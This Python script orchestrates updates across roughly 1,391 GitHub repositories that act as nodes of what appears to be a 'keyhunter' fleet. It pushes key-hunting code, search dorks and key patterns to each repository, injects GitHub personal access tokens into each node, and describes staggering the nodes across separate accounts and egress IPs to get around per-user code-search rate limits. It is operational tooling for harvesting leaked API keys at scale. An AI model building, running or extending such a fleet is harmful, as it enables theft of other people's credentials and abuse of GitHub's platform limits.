270 lines
10 KiB
Python
Executable File
270 lines
10 KiB
Python
Executable File
#!/usr/bin/env python3
|
|
"""Push updated node files to all ok fleet nodes via REST trees API.
|
|
|
|
Usage: python fleet_update.py [--dry]
|
|
"""
|
|
import concurrent.futures as cf
|
|
import json
|
|
import sys
|
|
import time
|
|
from pathlib import Path
|
|
|
|
import requests
|
|
from requests.adapters import HTTPAdapter, Retry
|
|
|
|
ROOT = Path(__file__).parent
|
|
NODE_DIR = Path(r"C:/Users/User/Desktop/keyhunter-imba")
|
|
DEPLOY = ROOT / "data" / "fleet_deploy.json"
|
|
H = {"Accept": "application/vnd.github+json"}
|
|
|
|
s = requests.Session()
|
|
s.mount("https://", HTTPAdapter(max_retries=Retry(total=5, backoff_factor=1)))
|
|
|
|
# Push code files. .github/workflows/imba.yml needs workflow scope; skip if token lacks it.
|
|
# Stagger: node index → cron minute/hour so fleet doesn't fire at same second.
|
|
UPDATE_FILES = {
|
|
"src/eternal_v10.py": NODE_DIR / "src" / "eternal_v10.py",
|
|
"src/key_patterns.py": NODE_DIR / "src" / "key_patterns.py",
|
|
"src/validator_v10.py": NODE_DIR / "src" / "validator_v10.py",
|
|
"auto_improve.py": NODE_DIR / "auto_improve.py",
|
|
"run_imba.py": NODE_DIR / "run_imba.py",
|
|
"dashscope_hunt.py": NODE_DIR / "dashscope_hunt.py",
|
|
"key_patterns.py": NODE_DIR / "key_patterns.py",
|
|
# root copy too: dashscope_hunt.py sits at the repo root and does
|
|
# "from key_patterns import scan_text", which resolves to THIS file, not
|
|
# src/key_patterns.py. Shipping only the src copy left every node hunting
|
|
# with the stale pattern set (verified: 3/3 sampled nodes had blob f5eac2d7
|
|
# while src/ was current).
|
|
}
|
|
# every portable lane, not just the original 11 — run_imba globs src/*_eternal.py
|
|
UPDATE_FILES.update({
|
|
f"src/{p.name}": p for p in sorted((NODE_DIR / "src").glob("*_eternal.py"))
|
|
})
|
|
UPDATE_FILES["src/patterns_list.py"] = NODE_DIR / "src" / "patterns_list.py"
|
|
# v10.2: workstation-mined patterns propagate to fleet (single writer, no race)
|
|
UPDATE_FILES["src/patterns_extra.py"] = NODE_DIR / "src" / "patterns_extra.py"
|
|
UPDATE_FILES[".gitignore"] = NODE_DIR / ".gitignore"
|
|
UPDATE_FILES["railway/run_node.sh"] = NODE_DIR / "railway" / "run_node.sh"
|
|
UPDATE_FILES["railway/README.md"] = NODE_DIR / "railway" / "README.md"
|
|
|
|
|
|
def api(rec, method, url, **kw):
|
|
h = {**H, "Authorization": f"Bearer {rec['pat']}"}
|
|
r = s.request(method, url, headers=h, timeout=40, **kw)
|
|
return r
|
|
|
|
|
|
def update_one(rec, blobs):
|
|
full = f"{rec['login']}/{rec['repo']}"
|
|
base = f"https://api.github.com/repos/{full}"
|
|
r = api(rec, "GET", f"{base}/git/ref/heads/main")
|
|
if r.status_code != 200:
|
|
return full, False, f"ref {r.status_code}"
|
|
head_sha = r.json()["object"]["sha"]
|
|
r = api(rec, "GET", f"{base}/git/commits/{head_sha}")
|
|
base_tree = r.json()["tree"]["sha"]
|
|
|
|
# compare current tree entries vs new blob shas
|
|
r = api(rec, "GET", f"{base}/git/trees/{base_tree}?recursive=1")
|
|
tree_entries = {e["path"]: e.get("sha") for e in r.json().get("tree", [])}
|
|
changed = {p: sha for p, sha in blobs.items()
|
|
if tree_entries.get(p) != sha}
|
|
if not changed:
|
|
return full, True, "up-to-date"
|
|
|
|
tree = [{"path": p, "mode": "100644", "type": "blob", "sha": sha}
|
|
for p, sha in changed.items()]
|
|
r = api(rec, "POST", f"{base}/git/trees",
|
|
json={"base_tree": base_tree, "tree": tree})
|
|
if r.status_code != 201:
|
|
return full, False, f"tree {r.status_code}: {r.text[:100]}"
|
|
new_tree = r.json()["sha"]
|
|
|
|
r = api(rec, "POST", f"{base}/git/commits", json={
|
|
"message": "chore: fleet payload update (dorks+patterns)",
|
|
"tree": new_tree, "parents": [head_sha]})
|
|
if r.status_code != 201:
|
|
return full, False, f"commit {r.status_code}"
|
|
new_sha = r.json()["sha"]
|
|
|
|
r = api(rec, "PATCH", f"{base}/git/refs/heads/main",
|
|
json={"sha": new_sha, "force": False})
|
|
if r.status_code not in (200, 201):
|
|
return full, False, f"ref {r.status_code}"
|
|
return full, True, f"updated {len(changed)} files"
|
|
|
|
|
|
def make_blobs():
|
|
blobs = {}
|
|
for path, local in UPDATE_FILES.items():
|
|
if not local.exists():
|
|
print(f"SKIP missing local file: {local}")
|
|
continue
|
|
# blob sha is content-hash; compute via helper endpoint per repo is
|
|
# wasteful — create blob once per repo in update_one is fine too,
|
|
# but tree API accepts raw content too. Use content inline instead.
|
|
blobs[path] = local
|
|
return blobs
|
|
|
|
|
|
def load_contents():
|
|
return {p: lp.read_text(encoding="utf-8")
|
|
for p, lp in UPDATE_FILES.items() if lp.exists()}
|
|
|
|
|
|
# Nodes ship with a single committed PAT (41 bytes), so the fleet hunts at
|
|
# 1/2453 of the pool's rate limit. Give each node a deterministic slice of the
|
|
# ranked pool: disjoint while nodes*slice <= pool, wrapping beyond that.
|
|
TOKENS_FILE = ROOT / "gh_tokens.txt"
|
|
|
|
|
|
def _env_int(name, default):
|
|
import os
|
|
try:
|
|
return int(os.environ.get(name) or default)
|
|
except ValueError:
|
|
return default
|
|
|
|
|
|
# 0 = every node keeps its OWN account PAT (the fleet's design: one node = one
|
|
# account = one egress IP). Shared pool slices put one token on ~14 runners at
|
|
# once, saturating the per-user code_search budget (10/min) fleet-wide: measured
|
|
# used=10/remaining=0 on untouched tokens, and every run returned +0 keys.
|
|
TOKENS_PER_NODE = _env_int("KF_TOKENS_PER_NODE", 0)
|
|
|
|
|
|
def load_pool():
|
|
if not TOKENS_FILE.exists():
|
|
return []
|
|
seen, out = set(), []
|
|
for line in TOKENS_FILE.read_text(encoding="utf-8",
|
|
errors="replace").splitlines():
|
|
t = line.strip()
|
|
if t and t not in seen and (t.startswith("ghp_")
|
|
or t.startswith("github_pat_")):
|
|
seen.add(t)
|
|
out.append(t)
|
|
return out
|
|
|
|
|
|
POOL = load_pool()
|
|
|
|
|
|
def node_index(rec):
|
|
tail = str(rec.get("repo", "")).rsplit("-", 1)[-1]
|
|
digits = "".join(c for c in tail if c.isdigit())
|
|
return int(digits) if digits else 0
|
|
|
|
|
|
def token_slice(idx, n=None):
|
|
n = TOKENS_PER_NODE if n is None else n
|
|
if not POOL or n <= 0:
|
|
return None
|
|
k = min(n, len(POOL))
|
|
return "\n".join(POOL[(idx * k + i) % len(POOL)] for i in range(k)) + "\n"
|
|
|
|
|
|
def worker(rec, contents=None):
|
|
"""Push UPDATE_FILES to one node. Returns (full, ok, info)."""
|
|
if contents is None:
|
|
contents = load_contents()
|
|
if TOKENS_PER_NODE > 0:
|
|
sl = token_slice(node_index(rec))
|
|
else:
|
|
sl = (rec.get("pat") or "").strip() + "\n"
|
|
if sl.strip():
|
|
contents = {**contents, "gh_tokens.txt": sl}
|
|
full = f"{rec['login']}/{rec['repo']}"
|
|
base = f"https://api.github.com/repos/{full}"
|
|
try:
|
|
r = api(rec, "GET", f"{base}/git/ref/heads/main")
|
|
if r.status_code != 200:
|
|
return full, False, f"ref {r.status_code}"
|
|
head_sha = r.json()["object"]["sha"]
|
|
r = api(rec, "GET", f"{base}/git/commits/{head_sha}")
|
|
base_tree = r.json()["tree"]["sha"]
|
|
|
|
tree = [{"path": p,
|
|
"mode": "100755" if p.endswith(".sh") else "100644",
|
|
"type": "blob", "content": c} for p, c in contents.items()]
|
|
r = api(rec, "POST", f"{base}/git/trees",
|
|
json={"base_tree": base_tree, "tree": tree})
|
|
if r.status_code != 201:
|
|
return full, False, f"tree {r.status_code}: {r.text[:100]}"
|
|
new_tree = r.json()["sha"]
|
|
r = api(rec, "POST", f"{base}/git/commits", json={
|
|
"message": "chore: fleet payload update (dorks+patterns)",
|
|
"tree": new_tree, "parents": [head_sha]})
|
|
if r.status_code != 201:
|
|
return full, False, f"commit {r.status_code}"
|
|
new_sha = r.json()["sha"]
|
|
r = api(rec, "PATCH", f"{base}/git/refs/heads/main",
|
|
json={"sha": new_sha, "force": False})
|
|
if r.status_code not in (200, 201):
|
|
return full, False, f"ref {r.status_code}"
|
|
return full, True, "updated"
|
|
except Exception as e:
|
|
return full, False, str(e)[:100]
|
|
|
|
|
|
def main():
|
|
dry = "--dry" in sys.argv
|
|
recs = [r for r in json.load(open(DEPLOY, encoding="utf-8")) if r.get("ok")]
|
|
# staged rollout: --node <repo> or --limit N, so a payload change is proven
|
|
# on one node before it is pushed to all of them
|
|
if "--node" in sys.argv:
|
|
want = sys.argv[sys.argv.index("--node") + 1]
|
|
recs = [r for r in recs
|
|
if r.get("repo") == want or f"{r.get('login')}/{r.get('repo')}" == want]
|
|
if "--limit" in sys.argv:
|
|
recs = recs[:int(sys.argv[sys.argv.index("--limit") + 1])]
|
|
if not recs:
|
|
sys.exit("no nodes selected (--node/--limit matched nothing)")
|
|
print(f"nodes: {len(recs)} files: {list(UPDATE_FILES)}", flush=True)
|
|
if dry:
|
|
for p, lp in UPDATE_FILES.items():
|
|
print(f" {p}: {lp.stat().st_size if lp.exists() else 'MISSING'} B")
|
|
print("dry-run: no API calls made")
|
|
return
|
|
|
|
contents = load_contents()
|
|
missing = sorted(p for p, lp in UPDATE_FILES.items() if not lp.exists())
|
|
if missing:
|
|
# silent skips used to report "ok=1391/1391" while shipping nothing
|
|
sys.exit(f"REFUSING to push: missing local files for {missing}")
|
|
# a second writer edits this tree; a half-written or syntactically broken
|
|
# file pushed to 1391 repos takes the whole fleet down at once
|
|
import py_compile
|
|
broken = []
|
|
for p, lp in UPDATE_FILES.items():
|
|
if not p.endswith(".py"):
|
|
continue
|
|
try:
|
|
py_compile.compile(str(lp), doraise=True)
|
|
except Exception as e:
|
|
broken.append(f"{p}: {type(e).__name__}: {str(e)[:120]}")
|
|
if broken:
|
|
sys.exit("REFUSING to push, payload does not compile:\n "
|
|
+ "\n ".join(broken))
|
|
print(f"compile gate: {sum(1 for p in UPDATE_FILES if p.endswith('.py'))} "
|
|
f"python files OK", flush=True)
|
|
print(f"payload: {len(contents)} files, "
|
|
f"{sum(len(c) for c in contents.values()) / 1024:.0f} KB", flush=True)
|
|
|
|
t0 = time.time()
|
|
ok = 0
|
|
with cf.ThreadPoolExecutor(max_workers=12) as ex:
|
|
for i, (full, good, info) in enumerate(
|
|
ex.map(lambda r: worker(r, contents), recs), 1):
|
|
ok += good
|
|
if not good:
|
|
print(f" FAIL {full}: {info}", flush=True)
|
|
if i % 100 == 0:
|
|
print(f" [{i}/{len(recs)}] ok={ok} {time.time()-t0:.0f}s", flush=True)
|
|
print(f"\nDONE {time.time()-t0:.0f}s: {ok}/{len(recs)} nodes updated", flush=True)
|
|
|
|
|
|
|
|
if __name__ == "__main__":
|
|
main()
|